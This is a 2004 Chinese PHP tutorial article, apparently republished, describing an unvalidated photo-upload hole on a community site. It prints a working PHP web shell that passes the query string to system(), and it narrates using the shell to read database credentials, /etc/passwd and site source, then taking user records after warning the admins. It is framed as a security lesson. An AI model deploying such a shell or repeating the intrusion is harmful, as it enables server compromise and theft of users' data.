| 
| 技术资料  > PHP技术 > 入门教程 : 关于php做社区网站的安全性 |  
关于php做社区网站的安全性 March 25,2004 |  
  目前,我发现某个社区网站中的一个上传“我的照片”功能有着很大的安全隐患,因为上传程序未对上传的文件做分析,从而我可以上传一个test.php的文件, 然后服务器上的名字就为?????.php(?????为数字),  
 
  我的PHP内容如下:  
<?  
$dbs=mysql_connect($strDBHost,$strDBUser,$strDBPassword);  
……  
mysql_close($dbs);  
?>  
 
  当然……中我只作了个测试,没有真正使用数据库,但是我以另一个PHP,?????.php,内容如下:  
<?  
$query=getenv("QUERY_STRING");  
$command=urldecode($query);  
$stdout=system("$command");  
echo "$stdout";  
?>  
 
成功的取得  
$strDBHost = "?.?.?.?";  
$strDBPassword = "????";  
$strDBUser = "root";  
并连上数据库  
 
  然后用后一个PHP把上传的PHP命名为CMD.PHP和DB.PHP  
 
  成功取得/ETC/PASSWD和该网站的首页面MAIN.PHP源码。  
 
  然后我发信警告网管,但是他们在第一天没及时修补漏洞,于是我对数据库进行分析,并上传了个MB.PHP,成功的得到数据库内的用户信息。  
 
  今天他们采取的修补手段是把那个可以上传的目录移去,不过这将导致用户暂时不能浏览、上传照片。  
 
  所以进行此类设计时,应该考虑到恶意用户通过直接调用url,把恶意数据传个程序,而不能以为网页在服务器端就安全了!  
  
 
原作者:天极网   
来源:http://www.yesky.com/    
         |  
 
 | 
  
Copyright © 2001-2008 Shenzhen Hiblue Software Team All rights reserved